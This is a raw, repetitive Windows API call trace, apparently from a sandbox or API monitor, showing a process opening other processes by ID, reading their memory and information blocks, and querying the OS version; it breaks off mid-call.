[0220.158] GetLastError () returned 0x0 [0220.158] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0220.159] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x461018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0220.159] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0220.159] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x391d20, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0220.159] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x3918f8, lpBuffer=0x670ffc3f0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0220.161] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0220.162] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0220.162] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x461020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0220.162] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x3912e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0220.162] malloc (_Size=0x82) returned 0x196ef0d31b0 [0220.162] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x391972, lpBuffer=0x196ef0d31b0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0220.163] free (_Block=0x196ef0d31b0) [0220.164] CloseHandle (hObject=0x460) returned 1 [0220.165] _ui64tow_s (in: _Value=0x1018, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4120") returned 0x0 [0220.170] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4120") returned 4 [0220.171] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0220.171] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0220.188] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1018) returned 0x460 [0220.188] GetLastError () returned 0x0 [0220.188] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0220.188] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4aa018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0220.188] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0220.189] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x311d10, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0220.189] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x3118f8, lpBuffer=0x670ffc3f0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0220.246] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0220.247] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0220.247] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4aa020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0220.247] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x3112e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0220.247] malloc (_Size=0x80) returned 0x196ef0d31b0 [0220.247] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x311970, lpBuffer=0x196ef0d31b0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0220.248] free (_Block=0x196ef0d31b0) [0220.249] CloseHandle (hObject=0x460) returned 1 [0220.249] _ui64tow_s (in: _Value=0x1020, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4128") returned 0x0 [0220.254] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4128") returned 4 [0220.255] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0220.255] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0220.272] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1020) returned 0x460 [0220.272] GetLastError () returned 0x0 [0220.273] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0220.273] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x20c018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0220.273] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0220.273] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x441cd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0220.273] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4418f8, lpBuffer=0x670ffc3f0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0220.274] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0220.276] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0220.276] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x20c020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0220.276] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4412e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0220.276] malloc (_Size=0x66) returned 0x196ef0d0530 [0220.276] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x441956, lpBuffer=0x196ef0d0530, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0530*, lpNumberOfBytesRead=0x0) returned 1 [0220.277] free (_Block=0x196ef0d0530) [0220.278] CloseHandle (hObject=0x460) returned 1 [0220.373] _ui64tow_s (in: _Value=0x1038, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4152") returned 0x0 [0220.378] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4152") returned 4 [0220.379] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0220.379] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0220.395] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1038) returned 0x460 [0220.395] GetLastError () returned 0x0 [0220.395] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0220.395] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x30f018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0220.396] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0220.396] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5e1d20, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0220.396] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5e18f8, lpBuffer=0x670ffc3f0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0220.397] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0220.398] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0220.398] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x30f020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0220.398] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5e12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0220.399] malloc (_Size=0x82) returned 0x196ef0d31b0 [0220.399] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5e1972, lpBuffer=0x196ef0d31b0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0220.399] free (_Block=0x196ef0d31b0) [0220.400] CloseHandle (hObject=0x460) returned 1 [0220.401] _ui64tow_s (in: _Value=0x1040, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4160") returned 0x0 [0220.405] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4160") returned 4 [0220.406] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0220.406] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0220.500] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1040) returned 0x460 [0220.500] GetLastError () returned 0x0 [0220.500] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0220.500] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x3da018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0220.500] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0220.500] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4c1cb0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0220.501] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4c18f8, lpBuffer=0x670ffc3f0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0220.502] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0220.503] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0220.503] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x3da020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0220.503] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4c12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0220.503] malloc (_Size=0x5e) returned 0x196ef0d0530 [0220.503] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4c194e, lpBuffer=0x196ef0d0530, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0530*, lpNumberOfBytesRead=0x0) returned 1 [0220.504] free (_Block=0x196ef0d0530) [0220.505] CloseHandle (hObject=0x460) returned 1 [0220.505] _ui64tow_s (in: _Value=0x1050, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4176") returned 0x0 [0220.509] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4176") returned 4 [0220.510] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0220.510] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0220.525] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1050) returned 0x460 [0220.525] GetLastError () returned 0x0 [0220.526] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0220.526] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x232018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0220.526] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0220.526] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5e1cc0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0220.526] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5e18f8, lpBuffer=0x670ffc3f0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0220.527] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0220.529] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0220.529] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x232020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0220.529] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5e12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0220.529] malloc (_Size=0x64) returned 0x196ef0d0370 [0220.529] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5e1954, lpBuffer=0x196ef0d0370, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0220.530] free (_Block=0x196ef0d0370) [0220.530] CloseHandle (hObject=0x460) returned 1 [0220.531] _ui64tow_s (in: _Value=0x1058, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4184") returned 0x0 [0220.592] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4184") returned 4 [0220.593] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0220.593] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0220.613] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1058) returned 0x460 [0220.613] GetLastError () returned 0x0 [0220.613] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0220.613] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5ef018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0220.614] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0220.614] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7a1cf0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0220.614] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7a18f8, lpBuffer=0x670ffc3f0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0220.615] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0220.616] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0220.616] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5ef020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0220.617] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7a12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0220.617] malloc (_Size=0x72) returned 0x196ef0d31b0 [0220.617] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7a1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0220.617] free (_Block=0x196ef0d31b0) [0220.619] CloseHandle (hObject=0x460) returned 1 [0220.619] _ui64tow_s (in: _Value=0x1064, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4196") returned 0x0 [0220.624] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4196") returned 4 [0220.626] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0220.626] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0220.700] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1064) returned 0x460 [0220.700] GetLastError () returned 0x0 [0220.701] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0220.701] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x598018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0220.701] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0220.701] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x791cb0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0220.701] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7918f8, lpBuffer=0x670ffc3f0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0220.702] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0220.703] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0220.704] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x598020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0220.704] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7912e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0220.704] malloc (_Size=0x5e) returned 0x196ef0d0530 [0220.704] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x79194e, lpBuffer=0x196ef0d0530, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0530*, lpNumberOfBytesRead=0x0) returned 1 [0220.704] free (_Block=0x196ef0d0530) [0220.705] CloseHandle (hObject=0x460) returned 1 [0220.706] _ui64tow_s (in: _Value=0x1074, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4212") returned 0x0 [0220.710] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4212") returned 4 [0220.711] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, 